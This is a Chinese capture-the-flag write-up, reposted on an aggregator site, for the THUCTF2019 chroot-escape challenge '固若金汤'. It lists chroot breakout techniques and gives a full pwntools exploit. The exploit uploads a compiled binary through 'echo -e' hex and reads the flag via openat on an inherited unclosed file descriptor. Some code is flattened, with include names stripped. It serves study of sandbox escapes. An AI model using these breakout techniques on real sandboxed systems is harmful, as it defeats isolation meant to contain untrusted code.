清华校赛THUCTF2019 之 固若金汤

您所在的位置:网站首页 chroot函数 清华校赛THUCTF2019 之 固若金汤

清华校赛THUCTF2019 之 固若金汤

2023-08-26 16:03| 来源: 网络整理| 查看: 265

题目地址:nc grjt.game.redbud.info 20003

题目提示:The ironmise king: You fools forgot to cccccccccclose the gate !!!!!

这道题目的解法虽然很简单,但是第一次遇到chroot的沙盒逃逸的题目,网上的资料也并没有很多,而且其中涉及了非常多的技术与知识,包括linux的namespace机制,chroot,seccomp,clone,fork这几个系统调用以及对应的libc封装的函数,父子进程关系,进程与线程间的关系,文件描述符等等,所以非常值得研究一下。可以先阅读冠成大佬的文章:linux中的沙箱技术,了解一下linux沙箱技术的基本知识。

分析源码

这题目附件给的是源码,如下:

#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include int main(int argc, char **argv) { MD5_CTX ctx; char md5_res[17]=""; char key[100]=""; char sandbox_dir[100]="/home/ctf/sandbox/"; char dir_name[100]="/home/ctf/sandbox/"; char buf[0x11111] ,ch; FILE *pp; int i; int pid, fd; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); struct rlimit r; r.rlim_max = r.rlim_cur = 0; setrlimit(RLIMIT_CORE, &r); memset(key, 0, sizeof(key)); printf("input your key:\n"); read(0, key, 20); MD5_Init(&ctx); MD5_Update(&ctx, key, strlen(key)); MD5_Final(md5_res, &ctx); for(int i = 0; i /dev/pts/18 lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 1 -> /dev/pts/18 lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 2 -> /dev/pts/18 lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 3 -> /tmp ➜ ~ ls -l /proc/35613/fd total 0 lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 0 -> /dev/pts/18 lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 1 -> /dev/pts/18 lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 2 -> /dev/pts/18 lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 3 -> /tmp ➜ ~ ls -l /proc/35614/fd total 0 lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 0 -> pipe:[224816] lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 1 -> /dev/pts/18 lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 2 -> /dev/pts/18 lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 3 -> /tmp ➜ ~ ls -l /proc/35615/fd total 0 lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 0 -> pipe:[224816] lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 1 -> /dev/pts/18 lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 2 -> /dev/pts/18 lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 3 -> /tmp

所以题目中的几个进程也满足如上关系,不过注意在修改题目代码的时候一样要注意不要让子进程或者父进程退出。概念上,父进程退出子进程还没退出时,子进程会变成孤儿进程。实际上父进程一旦退出,终端就立刻变成可以输入的状态,子进程的打印数据就可能会打印到终端输入的地方,看起来很奇怪,这里其实涉及到tty的概念,下次再说。然后在概念上,父进程还没退出,子进程退出,子进程会变成僵尸进程,实际上就无法看到子进程的一些信息了,比如fd等等,并且会在ps命令的结果里用方括号括起来。所以在研究进程线程间关系时要控制好进程与线程的存活,或者使用gdb进程调试。

思路与漏洞点 chroot jailbreak

分析完源码就大概就知道,这是一个沙盒逃逸的题目,由于根目录被chroot改掉,需要读到处于真正根目录下的flag,这个过程称之为chroot jailbreak,或者chroot breakout,可以自行google搜索相关内容,但是我第一次搜索的是chroot bypass,结果并不多,所以知道一个东西的正确表达是很重要的。

先了解一下chroot:chroot 命令小记

找到一些chroot jailbreak思路如下:

CTF中的sandbox Chw00t: How to break out from various chroot solutions Prison Break (chroot) 脱离chroot的枷锁

学长整理的Chroot Breakout

内核模块/攻击内核 不具备root权限:通过ptrace到一个chroot以外的进程 具备root权限:核心是CWD在ROOT以外,即可摆脱chroot classic攻击: mkdir(d); chroot(d); cd ../../../; chroot(.) 通过fd: mkdir(d); n=open(.); chroot(d); chdir("/"); fchdir(n); cd ../../../../; chroot(.) mkdir(d); chroot(d); chdir("/"); mkdir(dd); chroot(dd); cd ../../../../../../; chroot(.) UDS(Unix Domain Socket)可以在父子进程建立socket,并且可以传输fd。于是父进程打开一个fd,子进程mkdir d; chroot d;接收父进程发来的fd,fchdir(fd); cd ../../../../../../../; chroot(.)造成breakout。 如果有足够权限,挂载/proc文件系统。 mount("proc", slashdir, 0x100, "proc", NULL, NULL, optbuf, 0x400),不需要proc绝对路径 cd /proc/1/root,chroot(.) 未关闭的文件描述符

关键在于:

if (open(sandbox_dir, O_RDONLY) == -1) if (open(dir_name, O_RDONLY) != -1) fd = open(filename, O_WRONLY|O_CREAT)

这几处打开的文件描述符没有关闭,而子进程是和父进程共享文件描述符的,根据open的man手册可以看到文件描述符的一些详解:

Given a pathname for a file, open() returns a file descriptor, a small, nonnegative integer for use in subsequent system calls (read(2), write(2),lseek(2), fcntl(2), etc.). The file descriptor returned by a successful call will be the lowest-numbered file descriptor not currently open for the process.

open会返回一个非常小的,非负的整数作为文件描述符,会返回最小的现在还没被打开的文件描述符。0,1,2这三个文件描述符是默认被打开的标准输入,标准输出,标准错误。所以以上三条open语句,会打开3,4,5文件描述符,而这几个文件描述符在子进程中一样能访问到,这几个文件描述符又分别指向:

/home/ctf/sandbox/ /home/ctf/sandbox/xxx/ /proc/xxx/uid_map

这几个文件描述符所指向的文件当前的ROOT以外,所以可以直接去利用这些打开未关闭的文件描述符进行chroot jailbreak。

利用 哪来的echo?

我进入这题就很懵,最后会通过popen执行一条命令,简言之就是bash上执行一个命令,通过以上的分析我应该是想办法操作父进程未关闭的那个文件描述符,但是我咋在bash上获得文件描述符并利用呢?我咋在bash上使用系统调用?后来问了室友,说可以用echo命令写二进制可执行程序,然后运行,但是不是只给我三个东西么:bash,tee,chmod,没有echo啊。试了一下echo还真行,我所理解命令行工具不都是一个二进制文件么,没有echo这个程序,那他是咋运行的?直到我发现:

➜ which echo echo: shell built-in command

原来echo是一个shell内建命令,参考:Bash-Builtins。而且之前不太明白powershell和cmd区别,网友说了一堆我也没看明白,PowerShell 与 cmd 有什么不同?,现在有些明白了,就是shell或者cmd东西不仅仅是一个可以运行可执行程序的一个壳,而且自己实现了一些功能的,比如shell的内建命令和shell脚本的运行。在《程序员的自我修养》中是有一节是写一个简易的shell,那才是一个纯纯的壳。

另外虽然没有给ls,但还是能通过一些shell的技巧来列目录,比如:

➜ echo * bin lib lib64 写入二进制文件

可以利用echo -e 写入二进制数据:

➜ echo -e "\x61\x62\x63\x64" > out ➜ cat out abcd

所以写了从gcc编译到上传的完整流程脚本,注意在写完c代码文件后一定要close掉,否则在gcc编译的时候这个c代码文件是空的,因为还没有保存。

import os from pwn import * io = remote("grjt.game.redbud.info",20003) code = ''' #include int main(){ printf("[+] from server\\n"); return 0; } ''' a = open('hello.c','w') a.write(code) a.close() os.system("gcc hello.c -o hello") b = open("./hello").read().encode("hex") c = "" for i in range(0,len(b),2): c += '\\x'+b[i]+b[i+1] payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp' print "[+] length: " + hex(len(payload)) io.recv() io.sendline("xuan") io.recv() io.sendline(payload) io.recv() io.interactive() ➜ python exp.py [+] Opening connection to grjt.game.redbud.info on port 20003: Done [+] length: 0x8683 [*] Switching to interactive mode Creating your dir Entering your dir [+] from server [*] Got EOF while reading in interactive

执行可见[+] from server成功被打印回来了,说明二进制文件成功被执行

openat函数

刚才已经知道,并且通过调试确认子进程是可以用3,4,5三个文件描述符的,而且这几个文件描述符分别指向如下:

/home/ctf/sandbox/ /home/ctf/sandbox/xxx/ /proc/xxx/uid_map

那如何利用呢?在室友的提示下,知道了一个openat函数,看名字也是知道大概是在某个可以指定的目录下打开吧,在man手册中查看这个函数:

int openat(int dirfd, const char *pathname, int flags);

看函数原型就知道了,第一个参数是一个目录的文件描述符,所以非常简单的想到构造如下payload,即可绕过chroot的限制获得flag:

openat(3,"../../../../../flag",0) 完整exp import os from pwn import * io = remote("grjt.game.redbud.info",20003) code = ''' #include #include #include #include #include int main(){ char buf[100]={}; int fd1 = openat(3,"../../../../../flag",0); read(fd1,buf,100); write(1,buf,100); printf("[+] from server\\n"); } ''' a = open('hello.c','w') a.write(code) a.close() os.system("gcc hello.c -o hello") b = open("./hello").read().encode("hex") c = "" for i in range(0,len(b),2): c += '\\x'+b[i]+b[i+1] payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp' print "[+] length: " + hex(len(payload)) io.recv() io.sendline("xuan") io.recv() io.sendline(payload) io.recv() io.interactive() ➜ python exp.py [+] Opening connection to grjt.game.redbud.info on port 20003: Done [+] length: 0x89e3 [*] Switching to interactive mode Entering your dir THUCTF{You_mu5t_Be_4_M4ster_1n_7he_5hel1}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 [+] from server [*] Got EOF while reading in interactive

成功打印flag:THUCTF{You_mu5t_Be_4_M4ster_1n_7he_5hel1}

反思

这道题的提示是没有关门,想到了可能是未关闭的文件描述符,于是我当时写下了这样的代码:

#include int main(){ char buf[100]={}; extern fd; read(fd,buf,100); write(1,buf,100); return 0; }

我是希望我写的fd和父进程的fd可以对上

fd = open(filename, O_WRONLY|O_CREAT)

不过编译肯定是不过的,而且看起来这是极其愚蠢的。其实问题出在我并不理解,父子进程的关联不是各自的代码部分,而是操作系统分给的这两个进程资源。这里是文件描述符,父子进程都可以通过0-5这6个整数来访问相同的文件描述符。所以要想明白这种题目,一定是需要理解:进程除了代码还有什么?我们用了一堆函数,一堆系统调用,那背后的库函数,操作系统到底干了什么?



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3